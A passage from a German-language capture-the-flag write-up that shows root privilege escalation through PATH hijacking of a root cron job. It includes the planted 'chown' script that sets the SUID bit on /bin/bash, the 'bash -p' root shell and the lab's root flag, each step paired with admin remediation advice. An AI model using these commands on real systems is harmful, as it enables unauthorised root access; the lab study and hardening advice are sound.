1. Erstellen des bösartigen Skripts: Der Benutzer `brad` wechselt nach `/usr/local/bin` (oder ein anderes geeignetes Verzeichnis) und erstellt dort ein Skript namens `chown`.
Bewertung: Das Skript wird erstellt. Es enthält den Befehl, das SUID-Bit auf `/bin/bash` zu setzen.
Empfehlung (Pentester): Machen Sie das Skript ausführbar und warten Sie, bis der Cron-Job (`/opt/check_VM`) läuft.
Empfehlung (Admin): Verwenden Sie absolute Pfade in Cron-Jobs. Stellen Sie sicher, dass Verzeichnisse im `PATH` von root nicht für normale Benutzer schreibbar sind.
#!/bin/bash chmod u+s /bin/bash
2. Ausführbar machen und Warten: Das Skript `/usr/local/bin/chown` wird ausführbar gemacht (`chmod +x chown`). Anschließend wird gewartet, bis der Cron-Job `/opt/check_VM` das nächste Mal ausgeführt wird (typischerweise innerhalb einer Minute).
Bewertung: Wenn der Cron-Job läuft, führt er `chown -R www-data:www-data /var/www/html` aus. Da `/usr/local/bin` (vermutlich) im `PATH` vor `/bin` steht, wird das bösartige Skript ausgeführt. Dieses setzt das SUID-Bit auf `/bin/bash`.
Empfehlung (Pentester): Überprüfen Sie nach kurzer Wartezeit die Berechtigungen von `/bin/bash`.
Empfehlung (Admin): Beheben Sie die PATH-Problematik und verwenden Sie absolute Pfade.
3. Überprüfung und Ausführung von SUID Bash: Die Berechtigungen von `/bin/bash` werden überprüft. Sie zeigen nun das SUID-Bit (`-rwsr-xr-x`). Anschließend wird `/bin/bash -p` ausgeführt.
Bewertung: Das PATH-Hijacking war erfolgreich, das SUID-Bit wurde gesetzt. Das Ausführen von `bash -p` liefert eine Shell mit `euid=0(root)`.
Empfehlung (Pentester): Root-Zugriff erlangt. Suchen Sie die Root-Flag.
Empfehlung (Admin): Entfernen Sie das bösartige Skript, korrigieren Sie die `sudo`-Regel und entfernen Sie das SUID-Bit von `/bin/bash` (`chmod u-s /bin/bash`).
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
4. Auslesen der Root-Flag: Als Root wird in `/root` gewechselt und `root.txt` ausgelesen.
Bewertung: Die Root-Flag `b9b38d9533ca00072eff46338bf21b43` wird erfolgreich gelesen.
Empfehlung (Pentester): Ziel erreicht.
Empfehlung (Admin): Beheben Sie die zugrundeliegenden Schwachstellen.
root.txt
b9b38d9533ca00072eff46338bf21b43
Risikobewertung: Hoch. Die Kombination aus einem Cron-Job, der Befehle ohne absoluten Pfad ausführt, und einem für den Benutzer schreibbaren Verzeichnis im `PATH` von root ermöglicht eine zuverlässige Privilege Escalation.
Empfehlungen zur Behebung: